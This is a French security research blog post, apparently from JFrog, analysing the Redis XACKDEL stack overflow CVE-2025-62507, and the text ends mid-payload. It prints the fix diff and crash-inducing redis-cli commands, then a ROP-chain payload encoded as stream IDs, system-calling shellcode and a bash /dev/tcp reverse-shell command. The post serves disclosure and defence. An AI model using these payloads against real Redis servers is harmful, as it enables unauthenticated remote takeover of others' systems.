![\"Redis_Vulnerability_863x300\"](\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/01\/14123931\/Redis_Vulnerability_863x300.png\")
<\/p>\nRedis_Vulnerability_863x300<\/p>\n
Une vuln\u00e9rabilit\u00e9 r\u00e9cente de type d\u00e9bordement de tampon sur la pile dans Redis, r\u00e9f\u00e9renc\u00e9e sous le num\u00e9ro CVE-2025-62507, a \u00e9t\u00e9 corrig\u00e9e dans la version\u00a08.3.2. Le probl\u00e8me a \u00e9t\u00e9 publi\u00e9 avec un niveau de gravit\u00e9 \u00e9lev\u00e9 et a re\u00e7u un score CVSS\u00a0v3 de 8.8.<\/p>\n
Selon l\u2019avis de s\u00e9curit\u00e9 officiel, \u00ab\u00a0un utilisateur peut ex\u00e9cuter la commande XACKDEL avec plusieurs identifiants et d\u00e9clencher un d\u00e9bordement de tampon sur la pile, ce qui peut potentiellement conduire<\/strong> \u00e0 une ex\u00e9cution de code \u00e0 distance\u00a0\u00bb.<\/p>\n Les vuln\u00e9rabilit\u00e9s de corruption de m\u00e9moire sont devenues beaucoup plus difficiles \u00e0 exploiter en raison des nombreux m\u00e9canismes de s\u00e9curit\u00e9 mis en place au fil des ann\u00e9es, mais, historiquement, elles permettaient facilement d\u2019aboutir directement \u00e0 une ex\u00e9cution de code \u00e0 distance.<\/p>\n \u00c9tant donn\u00e9 que la vuln\u00e9rabilit\u00e9 avait re\u00e7u un niveau de gravit\u00e9 \u00e9lev\u00e9, sans toutefois \u00eatre class\u00e9e comme critique (en raison de l\u2019affirmation selon laquelle son exploitation n\u00e9cessitait une authentification, indiqu\u00e9e par le crit\u00e8re \u00ab\u00a0Privil\u00e8ges requis\u00a0\u00bb), l\u2019\u00e9quipe de recherche en s\u00e9curit\u00e9 de JFrog a d\u00e9cid\u00e9 d\u2019\u00e9tudier le probl\u00e8me plus en d\u00e9tail et d\u2019\u00e9valuer s\u2019il \u00e9tait toujours facile d\u2019obtenir une ex\u00e9cution de code \u00e0 distance en 2026.<\/p>\n Au moment de la r\u00e9daction de cet article, aucune preuve de concept publique, aucun code d\u2019exploitation permettant une ex\u00e9cution de code \u00e0 distance et aucune analyse technique approfondie n\u2019\u00e9taient disponibles. Nous avons donc entrepris d\u2019\u00e9valuer l\u2019exploitabilit\u00e9 r\u00e9elle de la CVE-2025-62507.<\/p>\n Dans cet article de blog, nous pr\u00e9sentons une exploitation r\u00e9ussie de cette vuln\u00e9rabilit\u00e9 et examinons les \u00e9tapes suppl\u00e9mentaires n\u00e9cessaires pour la transformer en code d\u2019exploitation enti\u00e8rement op\u00e9rationnel.<\/p>\n Redis (Remote Dictionary Server) est un syst\u00e8me open source de stockage de structures de donn\u00e9es en m\u00e9moire, largement utilis\u00e9 comme base de donn\u00e9es ainsi que comme courtier de messages gr\u00e2ce \u00e0 sa fonctionnalit\u00e9 Streams.<\/p>\n Redis Streams permet de mettre en \u0153uvre des files de messages et des pipelines d\u2019\u00e9v\u00e9nements. Les messages sont ajout\u00e9s \u00e0 un flux, transmis aux consommateurs appartenant \u00e0 un groupe de consommateurs, puis suivis dans une structure interne appel\u00e9e Pending Entries List (PEL), jusqu\u2019\u00e0 ce que leur traitement soit confirm\u00e9. Ce suivi permet \u00e0 Redis de garantir une livraison fiable, mais exige \u00e9galement un nettoyage soigneux des r\u00e9f\u00e9rences aux messages une fois leur traitement termin\u00e9.<\/p>\n La vuln\u00e9rabilit\u00e9 est d\u00e9clench\u00e9e lors de l\u2019utilisation de la nouvelle commande XACKDEL de Redis\u00a08.2, introduite afin de simplifier et d\u2019optimiser le nettoyage des flux. XACKDEL regroupe dans une seule op\u00e9ration atomique la confirmation du traitement des messages (comme XACK) et leur suppression d\u2019un flux (comme XDEL).<\/p>\n XACKDEL offre un contr\u00f4le plus pr\u00e9cis du cycle de vie des messages, en particulier gr\u00e2ce \u00e0 des options telles que KEEPREF, DELREF et ACKED, qui d\u00e9terminent la mani\u00e8re dont les r\u00e9f\u00e9rences de la Pending Entries List sont g\u00e9r\u00e9es et si les m\u00e9tadonn\u00e9es des messages sont int\u00e9gralement supprim\u00e9es. Cette conception r\u00e9duit la charge li\u00e9e \u00e0 la tenue des informations de suivi et \u00e9vite d\u2019avoir \u00e0 effectuer des appels distincts \u00e0 XACK et XDEL dans les sc\u00e9narios de traitement de flux \u00e0 haut d\u00e9bit.<\/p>\n Cependant, la complexit\u00e9 interne n\u00e9cessaire \u00e0 l\u2019analyse et \u00e0 la gestion de plusieurs identifiants de message au sein d\u2019une m\u00eame commande a fini par provoquer la CVE-2025-62507<\/p>\n En examinant le commit<\/a> qui a corrig\u00e9 la CVE-2025-62507, le probl\u00e8me sous-jacent devient imm\u00e9diatement \u00e9vident. La vuln\u00e9rabilit\u00e9 r\u00e9side dans l\u2019impl\u00e9mentation de la fonction XACKDEL accepte un nombre variable d\u2019ID de messages. Pour les traiter efficacement, la fonction analyse chaque ID fourni par l\u2019utilisateur et le stocke dans un tableau de taille fixe ( Le probl\u00e8me principal est que le code ne v\u00e9rifie pas que le nombre d\u2019ID fournis par le client respecte les limites de ce tableau allou\u00e9 sur la pile.<\/strong> Par cons\u00e9quent, lorsque davantage d\u2019ID sont fournis que le tableau ne peut en contenir, la fonction continue d\u2019\u00e9crire au-del\u00e0 de la fin du tampon.<\/p>\n Cela entra\u00eene un d\u00e9passement de tampon classique bas\u00e9 sur la pile.<\/p>\n \u00c9tant donn\u00e9 que les ID de flux analys\u00e9s sont enti\u00e8rement contr\u00f4l\u00e9s par l\u2019attaquant, le d\u00e9passement ne se contente pas de corrompre des donn\u00e9es adjacentes\u00a0; il permet \u00e0 un attaquant d\u2019\u00e9craser le contenu sensible de la pile, y compris les registres sauvegard\u00e9s et l\u2019adresse de retour de la fonction. La structure des ID de flux, qui sont analys\u00e9s comme deux valeurs num\u00e9riques ind\u00e9pendantes, permet de contr\u00f4ler avec pr\u00e9cision la m\u00e9moire \u00e9cras\u00e9e et d\u2019obtenir une ex\u00e9cution de code \u00e0 distance.<\/p>\n Dans les versions affect\u00e9es, cette condition peut \u00eatre d\u00e9clench\u00e9e \u00e0 distance dans la configuration Redis par d\u00e9faut<\/strong> en envoyant simplement une seule commande XACKDEL contenant un nombre suffisamment \u00e9lev\u00e9 d\u2019ID de messages. Il est \u00e9galement important de noter que, par d\u00e9faut, Redis n\u2019impose aucune authentification, ce qui en fait une ex\u00e9cution de code \u00e0 distance non authentifi\u00e9e.<\/p>\n Le commit apportant le correctif comprend un test de r\u00e9gression<\/a> ajout\u00e9 par les responsables de Redis afin de v\u00e9rifier que cette vuln\u00e9rabilit\u00e9 ne peut plus \u00eatre d\u00e9clench\u00e9e. Le test ex\u00e9cute d\u2019abord une commande Ce cas de test met clairement en \u00e9vidence le chemin de code vuln\u00e9rable ainsi que la s\u00e9quence minimale de commandes n\u00e9cessaire pour l\u2019atteindre, ce qui constitue un point de d\u00e9part naturel pour son exploitation.<\/p>\n Pour tester la vuln\u00e9rabilit\u00e9, nous pouvons lancer un serveur Redis simple \u00e0 l\u2019aide de l\u2019image Docker officielle de Redis<\/a>\u00a0:<\/p>\n Dans un autre shell, nous lan\u00e7ons ensuite l\u2019interface en ligne de commande de Redis\u00a0:<\/p>\n Dans l\u2019interface en ligne de commande, nous allons tenter d\u2019ex\u00e9cuter les m\u00eames commandes que Redis dans son test\u00a0:<\/p>\n Sur notre syst\u00e8me, cela n\u2019a eu aucun effet. Mais l\u2019ajout de deux identifiants suppl\u00e9mentaires a fait planter le serveur\u00a0:<\/p>\n JFrog – Exploitation de la vuln\u00e9rabilit\u00e9 Redis – image2 Notez que le processus a tent\u00e9 d\u2019ex\u00e9cuter une instruction depuis le binaire redis-server et d\u2019acc\u00e9der \u00e0 l\u2019adresse 0x9.<\/p>\n Essayons d\u2019ajouter un ID suppl\u00e9mentaire\u00a0:<\/p>\n JFrog – Exploitation de la vuln\u00e9rabilit\u00e9 Redis – image9JFrog – Exploitation de la vuln\u00e9rabilit\u00e9 Redis – image2JFrog – Exploitation de la vuln\u00e9rabilit\u00e9 Redis – image7JFrog – Exploitation de la vuln\u00e9rabilit\u00e9 Redis – image6.png Le journal du plantage indique d\u00e9sormais un pointeur d\u2019instruction de \u00c9tonnamment, ce contr\u00f4le direct de l\u2019EIP montre que Redis est compil\u00e9 sans protection par canari de pile dans l\u2019image Docker officielle\u00a0!<\/strong><\/p>\n Apr\u00e8s avoir confirm\u00e9 le contr\u00f4le de l\u2019EIP, nous avons extrait le fichier binaire \u00ab\u00a0redis-server\u00a0\u00bb de l\u2019image Docker et l\u2019avons ouvert dans IDA Pro afin de l\u2019examiner de plus pr\u00e8s. Observons l\u2019organisation de la pile de la fonction Nous pouvons constater que le tableau En divisant Tr\u00e8s bien, et maintenant\u00a0?<\/p>\n L\u2019\u00e9tape suivante consiste \u00e0 rediriger le flux d\u2019ex\u00e9cution et \u00e0 ex\u00e9cuter du code contr\u00f4l\u00e9 par le pirate. Pour cela, nous devons transf\u00e9rer le contr\u00f4le vers une adresse m\u00e9moire pr\u00e9cise permettant l\u2019ex\u00e9cution de code. Dans la pratique, cette op\u00e9ration est compliqu\u00e9e par l\u2019Address Space Layout Randomization (ASLR), ou randomisation de la disposition de l\u2019espace d\u2019adressage, qui modifie al\u00e9atoirement les adresses m\u00e9moire \u00e0 chaque d\u00e9marrage du processus.<\/p>\n Dans une attaque r\u00e9elle, cette vuln\u00e9rabilit\u00e9 serait g\u00e9n\u00e9ralement associ\u00e9e \u00e0 une faille de divulgation d\u2019informations provoquant une fuite d\u2019adresses m\u00e9moire, ce qui permettrait au pirate de contourner l\u2019ASLR. Toutefois, pour les besoins de cette preuve de concept, nous d\u00e9sactivons l\u2019ASLR sur notre syst\u00e8me de test afin de rendre les adresses m\u00e9moire pr\u00e9visibles et de nous concentrer uniquement sur la d\u00e9monstration de l\u2019exploitabilit\u00e9\u00a0:<\/p>\n JFrog – Exploitation de la vuln\u00e9rabilit\u00e9 Redis – image4 Nous avons compar\u00e9 le fichier binaire de l\u2019image Docker \u00e0 celui install\u00e9 sur notre machine h\u00f4te (Redis version\u00a07.0.15, install\u00e9 \u00e0 l\u2019aide du gestionnaire de paquets d\u2019Ubuntu). Fait int\u00e9ressant, celui de la machine h\u00f4te dispose bien de la protection par canari de pile.<\/p>\n Comme toujours, un autre m\u00e9canisme de s\u00e9curit\u00e9 doit \u00eatre contourn\u00e9 pour exploiter cette vuln\u00e9rabilit\u00e9 avec succ\u00e8s\u00a0: la protection NX (No-eXecute). Celle-ci emp\u00eache l\u2019ex\u00e9cution de certaines r\u00e9gions de la m\u00e9moire, telles que la pile, en les marquant comme non ex\u00e9cutables.<\/p>\n Pour contourner la protection NX, nous construisons une cha\u00eene de programmation orient\u00e9e retour (Return-Oriented Programming, ROP) \u00e0 l\u2019aide de s\u00e9quences d\u2019instructions existantes, appel\u00e9es gadgets, trouv\u00e9es dans le fichier binaire. Au lieu d\u2019ex\u00e9cuter directement du code depuis la pile, la cha\u00eene ROP appelle des fonctions l\u00e9gitimes afin de modifier les autorisations de la m\u00e9moire.<\/p>\n Dans notre cas, l\u2019objectif est de rendre la pile ex\u00e9cutable en appelant la fonction <code> Pour cela, nous construisons une cha\u00eene ROP compos\u00e9e de gadgets simples trouv\u00e9s dans le fichier binaire redis-server. Nous avons notamment besoin de gadgets chargeant des valeurs dans les registres Une fois les arguments d\u00e9finis, l\u2019ex\u00e9cution revient dans Tous ces gadgets ont \u00e9t\u00e9 facilement trouv\u00e9s dans le fichier binaire redis-server.<\/p>\n Apr\u00e8s avoir appel\u00e9 \u00c0 ce stade, la pile doit \u00eatre soigneusement pr\u00e9par\u00e9e afin qu\u2019apr\u00e8s le retour de La pile pr\u00e9par\u00e9e est organis\u00e9e comme suit\u00a0:<\/p>\n Comme charge utile de test simple, nous pla\u00e7ons une unique instruction Charge utile compl\u00e8te\u00a0:<\/p>\n \u00c0 partir de l\u00e0, il est tr\u00e8s facile de remplacer le shellcode par du code ex\u00e9cutant une commande syst\u00e8me et ouvrant un shell invers\u00e9. Nous avons cr\u00e9\u00e9 un shellcode simple appelant la fonction system afin d\u2019\u00e9tablir un shell invers\u00e9, puis de rester bloqu\u00e9 dans une boucle infinie. Nous avons d\u00e9termin\u00e9 que la fonction system se trouvait \u00e0 l\u2019adresse \u00c0 la fin de notre shellcode, nous avons ajout\u00e9 la commande que nous voulons ex\u00e9cuter\u00a0:<\/p>\n Cette commande lance un shell bash, qui lance \u00e0 son tour un autre shell bash redirigeant sa sortie vers le port\u00a04444 de l\u2019adresse\u00a0IP\u00a0172.17.0.1, qui correspond \u00e0 l\u2019adresse\u00a0IP de la machine h\u00f4te Docker. Nous avons encapsul\u00e9 bash dans un autre processus bash, car la fonction system utilise le shell par d\u00e9faut \/bin\/sh, qui pointe vers dash, et celui-ci ne parvenait pas \u00e0 cr\u00e9er correctement le shell invers\u00e9. Nous avons donc choisi de forcer l\u2019analyse de la commande par bash.<\/p>\n Sur la machine h\u00f4te, nous avons lanc\u00e9 netcat en \u00e9coute sur le port\u00a04444. Nous avons ensuite envoy\u00e9 la charge utile\u00a0:<\/p>\n JFrog – Exploitation de la vuln\u00e9rabilit\u00e9 Redis – image1 Comme indiqu\u00e9 pr\u00e9c\u00e9demment, la plupart des syst\u00e8mes modernes utilisent l\u2019ASLR pour randomiser l\u2019espace d\u2019adressage des processus qui s\u2019y ex\u00e9cutent. Cela signifie que, pour exploiter pleinement cette vuln\u00e9rabilit\u00e9, un pirate devra \u00e9galement provoquer une fuite des adresses m\u00e9moire du processus et des biblioth\u00e8ques, \u00e9ventuellement \u00e0 l\u2019aide d\u2019une vuln\u00e9rabilit\u00e9 distincte de fuite de donn\u00e9es. Lorsque Redis a \u00e9t\u00e9 compil\u00e9 avec des canaris de pile, le pirate devra \u00e9galement trouver un moyen d\u2019obtenir la valeur du canari de pile.<\/p>\n JFrog – Exploitation de la vuln\u00e9rabilit\u00e9 Redis – image1JFrog – Exploitation de la vuln\u00e9rabilit\u00e9 Redis – image1 1. Ils ex\u00e9cutent une version vuln\u00e9rable de Redis (8.2.0, 8.2.1 ou 8.2.2).<\/p>\n 2. Ils ne disposent d\u2019aucun m\u00e9canisme d\u2019authentification.<\/p>\n Cependant, le nombre r\u00e9el de serveurs vuln\u00e9rables pourrait \u00eatre beaucoup plus \u00e9lev\u00e9, puisque Shodan a \u00e9galement d\u00e9tect\u00e9 183\u00a0907\u00a0serveurs Redis<\/a> sur lesquels l\u2019authentification est activ\u00e9e. Il est possible que ces serveurs utilisent une version appartenant \u00e0 la plage vuln\u00e9rable et que des pirates tentent de d\u00e9couvrir le mot de passe de connexion par force brute afin d\u2019y acc\u00e9der et d\u2019exploiter la vuln\u00e9rabilit\u00e9.<\/p>\n Cette vuln\u00e9rabilit\u00e9 montre que, m\u00eame dans des projets modernes et matures comme Redis, des failles classiques de corruption de m\u00e9moire peuvent encore appara\u00eetre lors de l\u2019introduction de nouvelles fonctionnalit\u00e9s complexes. Bien que les d\u00e9bordements de tampon sur la pile soient souvent consid\u00e9r\u00e9s comme un probl\u00e8me appartenant au pass\u00e9, la CVE-2025-62507 montre que ces vuln\u00e9rabilit\u00e9s existent toujours et peuvent m\u00eame \u00eatre \u00e9tonnamment faciles \u00e0 exploiter.<\/p>\n Les d\u00e9veloppeurs doivent s\u2019assurer que les m\u00e9canismes de s\u00e9curit\u00e9, tels que la protection par canari de pile, sont activ\u00e9s pendant le processus de compilation (par exemple, en ajoutant l\u2019option Enfin, les utilisateurs ne doivent pas se fier uniquement aux scores\u00a0CVSS pour d\u00e9finir l\u2019ordre de priorit\u00e9 des correctifs. Bien qu\u2019elle ait \u00e9t\u00e9 class\u00e9e comme pr\u00e9sentant une gravit\u00e9 \u00ab\u00a0\u00e9lev\u00e9e\u00a0\u00bb plut\u00f4t que \u00ab\u00a0critique\u00a0\u00bb, en raison de l\u2019affirmation selon laquelle une authentification \u00e9tait n\u00e9cessaire (\u00ab\u00a0Privil\u00e8ges requis\u00a0\u00bb), la CVE-2025-62507 s\u2019est r\u00e9v\u00e9l\u00e9e exploitable sans authentification pour obtenir une ex\u00e9cution de code \u00e0 distance dans de nombreux environnements r\u00e9els.<\/p>\n Pour rester inform\u00e9 des autres attaques et vuln\u00e9rabilit\u00e9s, consultez le <\/span>centre de recherche en s\u00e9curit\u00e9 de JFrog,<\/span><\/a> qui publie les derni\u00e8res informations sur les CVE, les vuln\u00e9rabilit\u00e9s et les correctifs. Pour prot\u00e9ger votre cha\u00eene d\u2019approvisionnement logicielle, d\u00e9couvrez \u00e9galement la <\/span>plateforme JFrog<\/span><\/a>.<\/span><\/p>\n","protected":false},"excerpt":{"rendered":" Redis_Vulnerability_863x300 Une vuln\u00e9rabilit\u00e9 r\u00e9cente de type d\u00e9bordement de tampon sur la pile dans Redis, r\u00e9f\u00e9renc\u00e9e sous le num\u00e9ro CVE-2025-62507, a \u00e9t\u00e9 corrig\u00e9e dans la version\u00a08.3.2. Le probl\u00e8me a \u00e9t\u00e9 publi\u00e9 avec un niveau de gravit\u00e9 \u00e9lev\u00e9 et a re\u00e7u un score CVSS\u00a0v3 de 8.8. Selon l\u2019avis de s\u00e9curit\u00e9 officiel, \u00ab\u00a0un utilisateur peut ex\u00e9cuter la commande …<\/p>\n","protected":false},"author":590,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[10153],"tags":[11445,11446,11399,11398,11286,9999],"class_list":["post-174571","post","type-post","status-publish","format-standard","hentry","category-securite-et-devsecops","tag-cli","tag-react-native","tag-rce","tag-cve-2","tag-vulnerabilites","tag-securite-recherche"],"yoast_head":"\nQu\u2019est-ce qui a caus\u00e9 la CVE-2025-62507\u00a0?<\/h2>\n
Analyse technique de la CVE-2025-62507<\/h1>\n
xackdelCommand<\/code>, qui est charg\u00e9e d\u2019analyser et de traiter la liste des identifiants de flux fournis par l\u2019utilisateur.<\/p>\n \ndiff --git a\/src\/t_stream.c b\/src\/t_stream.c\nindex d721780a6..3ef48943f 100644\n--- a\/src\/t_stream.c\n+++ b\/src\/t_stream.c\n@@ -3215,6 +3215,8 @@ void xackdelCommand(client *c) {\n * executed in a "all or nothing" fashion. *\/\n streamID static_ids[STREAMID_STATIC_VECTOR_LEN];\n streamID *ids = static_ids;\n+ if (args.numids > STREAMID_STATIC_VECTOR_LEN)\n+ ids = zmalloc(sizeof(streamID)*args.numids);\n for (int j = 0; j < args.numids; j++) { if (streamParseStrictIDOrReply(c,c->argv[j+args.startidx],&ids[j],0,NULL) != C_OK)\n goto cleanup;\n\n<\/code><\/pre>\nstatic_ids<\/code>) allou\u00e9 sur la pile<\/strong>. Chaque ID de flux analys\u00e9 est repr\u00e9sent\u00e9 en interne sous la forme d\u2019une structure streamID<\/code> compos\u00e9e de deux entiers de 64 bits.<\/p>\nExploitation de la CVE-2025-62507<\/h1>\n
XGROUP CREATE<\/code>, suivie d\u2019une commande XACKDEL<\/code> contenant 50\u00a0identifiants de message.<\/p>\n \ndiff --git a\/tests\/unit\/type\/stream-cgroups.tcl b\/tests\/unit\/type\/stream-cgroups.tcl\nindex 05c56074e..a5265056c 100644\n--- a\/tests\/unit\/type\/stream-cgroups.tcl\n+++ b\/tests\/unit\/type\/stream-cgroups.tcl\n@@ -1658,5 +1658,20 @@ start_server {\n assert_equal [dict get $group lag] 0\n assert_equal [dict get $group entries-read] 1\n }\n+\n+ test "XACKDEL with IDs exceeding STREAMID_STATIC_VECTOR_LEN for heap allocation" {\n+ r DEL mystream\n+ r XGROUP CREATE mystream mygroup $ MKSTREAM\n+\n+ # Generate IDs exceeding STREAMID_STATIC_VECTOR_LEN (8) to force heap allocation\n+ # instead of using the static vector cache, ensuring proper memory allocation.\n+ set ids {}\n+ for {set i 0} {$i < 50} {incr i} {\n+ lappend ids "$i-1"\n+ }\n+ set result [r XACKDEL mystream mygroup IDS 50 {*}$ids]\n+ assert {[llength $result] == 50}\n+ r PING\n+ }\n }\n }\n\n<\/code><\/pre>\n\nsudo docker run --name my-redis -p 6379:6379 --rm redis:8.2.1\n\n<\/code><\/pre>\n\nredis-cli\n\n<\/code><\/pre>\n\nDEL mystream\nXGROUP CREATE mystream mygroup $ MKSTREAM\nXACKDEL mystream mygroup IDS 50 0-1 1-1 2-1 3-1 4-1 5-1 6-1 7-1 8-1 9-1 10-1\n11-1 12-1 13-1 14-1 15-1 16-1 17-1 18-1 19-1 20-1 21-1 22-1 23-1 24-1 25-1 26-1\n27-1 28-1 29-1 30-1 31-1 32-1 33-1 34-1 35-1 36-1 37-1 38-1 39-1 40-1 41-1 42-1 \n43-1 44-1 45-1 46-1 47-1 48-1 49-1\n\n<\/code><\/pre>\n\nDEL mystream\nXGROUP CREATE mystream mygroup $ MKSTREAM\nXACKDEL mystream mygroup IDS 52 0-1 1-1 2-1 3-1 4-1 5-1 6-1 7-1 8-1 9-1 10-1 \n11-1 12-1 13-1 14-1 15-1 16-1 17-1 18-1 19-1 20-1 21-1 22-1 23-1 24-1 25-1 26-1 \n27-1 28-1 29-1 30-1 31-1 32-1 33-1 34-1 35-1 36-1 37-1 38-1 39-1 40-1 41-1 42-1 \n43-1 44-1 45-1 46-1 47-1 48-1 49-1 50-1 51-1\n\n<\/code><\/pre>\n
\nEn v\u00e9rifiant les journaux du serveur qui a plant\u00e9, nous avons remarqu\u00e9 des donn\u00e9es similaires \u00e0 ce qui suit au d\u00e9but du rapport de plantage\u00a0:<\/p>\n![\"JFrog](\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/01\/13210639\/JFrog-Exploiting-the-Redis-Vulnerability-image2.png\")
<\/p>\n\nXGROUP CREATE mystream mygroup $ MKSTREAM\nXACKDEL mystream mygroup IDS 53 0-1 1-1 2-1 3-1 4-1 5-1 6-1 7-1 8-1 9-1 10-1 \n11-1 12-1 13-1 14-1 15-1 16-1 17-1 18-1 19-1 20-1 21-1 22-1 23-1 24-1 25-1 26-1 \n27-1 28-1 29-1 30-1 31-1 32-1 33-1 34-1 35-1 36-1 37-1 38-1 39-1 40-1 41-1 42-1 \n43-1 44-1 45-1 46-1 47-1 48-1 49-1 50-1 51-1 52-1\n\n<\/code><\/pre>\n
\nExaminons maintenant une nouvelle fois le journal du plantage\u00a0:<\/p>\n![\"JFrog](\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/01\/13211440\/JFrog-Exploiting-the-Redis-Vulnerability-image9.png\")
\n\u00c0 ce stade, le comportement devient int\u00e9ressant. Le processus a tent\u00e9 d\u2019effectuer un saut vers l\u2019adresse 0x1<\/code>. Cela soul\u00e8ve imm\u00e9diatement la question de l\u2019origine de cette valeur. La source la plus probable est le dernier identifiant de flux que nous avons ajout\u00e9 \u00e0 la liste. Pour le v\u00e9rifier, modifions le dernier identifiant en rempla\u00e7ant 52-1 par 52-2, afin de voir si le comportement du plantage change en cons\u00e9quence\u00a0:<\/p>\n![\"JFrog](\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/01\/13211140\/JFrog-Exploiting-the-Redis-Vulnerability-image8.png\")
<\/p>\n0x2<\/code>. \u00c0 ce stade, il est clair qu\u2019il s\u2019agit d\u2019un d\u00e9bordement de tampon classique sur la pile, qui \u00e9crase l\u2019adresse de retour de la fonction. La seconde composante num\u00e9rique du dernier identifiant de flux contr\u00f4le directement la valeur inscrite dans l\u2019emplacement r\u00e9serv\u00e9 \u00e0 l\u2019adresse de retour.<\/p>\nxackdelCommand<\/code>.<\/p>\n![\"JFrog](\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/01\/13212700\/JFrog-Exploiting-the-Redis-Vulnerability-image7.png\")
<\/p>\nstatic_ids<\/code> est situ\u00e9 \u00e0 l\u2019adresse relative -0x340<\/code> et que chaque \u00e9l\u00e9ment streamID<\/code> occupe 16\u00a0octets\u00a0:<\/p>\n![\"JFrog](\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/01\/13212838\/JFrog-Exploiting-the-Redis-Vulnerability-image6.png-.png\")
<\/p>\n0x340<\/code> par 16, on obtient 52, ce qui signifie que le 53e\u00a0identifiant \u00e9crase l\u2019adresse de retour de la fonction. Un examen plus attentif du code montre que les identifiants de flux sont analys\u00e9s sous la forme de paires de deux entiers de 64\u00a0bits s\u00e9par\u00e9s par un tiret. Ces valeurs sont \u00e9crites directement dans la structure streamID<\/code>, ce qui nous permet d\u2019inscrire des valeurs arbitraires sur la pile sans aucune v\u00e9rification de limites.<\/p>\n\necho 0 > \/proc\/sys\/kernel\/randomize_va_space\n\n<\/code><\/pre>\n
\nEn temps normal, nous devrions \u00e9galement contourner la protection par canari de pile (l\u00e0 encore, \u00e0 l\u2019aide d\u2019une faille de divulgation d\u2019informations), mais, comme indiqu\u00e9 pr\u00e9c\u00e9demment, le fichier binaire inclus dans l\u2019image Docker a \u00e9t\u00e9 compil\u00e9 sans cette protection. Nous l\u2019avons \u00e9galement confirm\u00e9 en examinant directement le fichier binaire. Comme vous pouvez le constater, l\u2019\u00e9pilogue de la fonction n\u2019effectue aucune v\u00e9rification avant le retour.<\/p>\n![\"JFrog](\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/01\/13213736\/JFrog-Exploiting-the-Redis-Vulnerability-image4.png\")
<\/p>\nmprotect<\/code> avec des arguments contr\u00f4l\u00e9s\u00a0: l\u2019adresse m\u00e9moire cible, la taille de la r\u00e9gion m\u00e9moire et les indicateurs de protection souhait\u00e9s. Les journaux de plantage nous ont permis de constater que le pointeur de pile (RSP) pointait vers l\u2019adresse 0x7fffffffe7d0<\/code>. Sur cette base, nous alignons l\u2019adresse cible sur le d\u00e9but de la page m\u00e9moire situ\u00e9e \u00e0 l\u2019adresse 0x7fffffffe000<\/code>, demandons une taille de 0x20000<\/code>\u00a0octets et d\u00e9finissons les autorisations de lecture, d\u2019\u00e9criture et d\u2019ex\u00e9cution.<\/p>\n\nmprotect(0x7fffffffe000, 0x20000, PROT_READ | PROR_WRITE | PROT_EXEC)\n\n<\/code><\/pre>\n
\nPour appeler mprotect<\/code>, nous r\u00e9utilisons du code d\u00e9j\u00e0 pr\u00e9sent dans l\u2019espace d\u2019adressage du processus, plus pr\u00e9cis\u00e9ment l\u2019impl\u00e9mentation de mprotect<\/code> dans la biblioth\u00e8que libc<\/code>. Cette approche est une forme de ret2libc, dans laquelle l\u2019ex\u00e9cution est redirig\u00e9e vers une fonction de biblioth\u00e8que fiable plut\u00f4t que vers un shellcode inject\u00e9.<\/p>\nrdi, rsi<\/code> et rdx<\/code>, qui correspondent aux trois premiers arguments de mprotect<\/code>. Chaque gadget doit se terminer par une instruction RET<\/code>, afin que l\u2019ex\u00e9cution puisse progresser de mani\u00e8re contr\u00f4l\u00e9e \u00e0 travers la cha\u00eene.<\/p>\nmprotect<\/code>, qui modifie les autorisations de la m\u00e9moire occup\u00e9e par la pile. Le contr\u00f4le peut alors \u00eatre transf\u00e9r\u00e9 vers des donn\u00e9es contr\u00f4l\u00e9es par l’attaquant et plac\u00e9es sur la pile, achevant ainsi la transformation d\u2019un bogue de corruption de m\u00e9moire en ex\u00e9cution de code arbitraire.<\/p>\nmprotect<\/code> avec succ\u00e8s et rendu la pile ex\u00e9cutable, la derni\u00e8re \u00e9tape consiste \u00e0 transf\u00e9rer l\u2019ex\u00e9cution vers du code contr\u00f4l\u00e9 par le pirate. Pour cela, nous utilisons un gadget CALL rsp<\/code>, lui aussi facilement localis\u00e9 dans le fichier binaire redis-server. Ce gadget redirige l\u2019ex\u00e9cution vers le pointeur de pile actuel, o\u00f9 se trouve notre charge utile.<\/p>\nmprotect<\/code>, l\u2019ex\u00e9cution parcoure la cha\u00eene ROP, puis passe directement \u00e0 notre code. L\u2019organisation de la pile comprend donc les gadgets ROP utilis\u00e9s pour configurer et appeler mprotect<\/code>, imm\u00e9diatement suivis de la charge utile.<\/p>\n![\"<code>\"](\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/01\/13215959\/JFrog-Redis-Vulnerability-image10.png\")
<\/p>\nJMP 0x0<\/code> dans le dernier emplacement. Le serveur Redis entre alors dans une boucle infinie, ce qui permet d\u2019obtenir tous les r\u00e9sultats d\u00e9crits jusqu\u2019ici.<\/p>\n\nXGROUP CREATE mystream mygroup $ MKSTREAM\nXACKDEL mystream mygroup IDS 57 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-93824992764711 140737488347136-93824992781334 131072-93824994830866 7-140737344395808 93824993018745-65259\n\n<\/code><\/pre>\n0x7FFFF7600490<\/code>. Nous avons donc compil\u00e9 le shellcode suivant\u00a0:<\/p>\n\nlea rdi, [rip+data]\nmov rax, 0x7FFFF7600490 # system\ncall rax\nloop:\njmp loop\ndata:\n\n<\/code><\/pre>\n\n\/bin\/bash -c '\/bin\/bash -i >& \/dev\/tcp\/172.17.0.1\/4444 0>&1'\n\n<\/code><\/pre>\n\nXGROUP CREATE mystream mygroup $ MKSTREAM\nXACKDEL mystream mygroup IDS 62 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 \n1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 \n1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 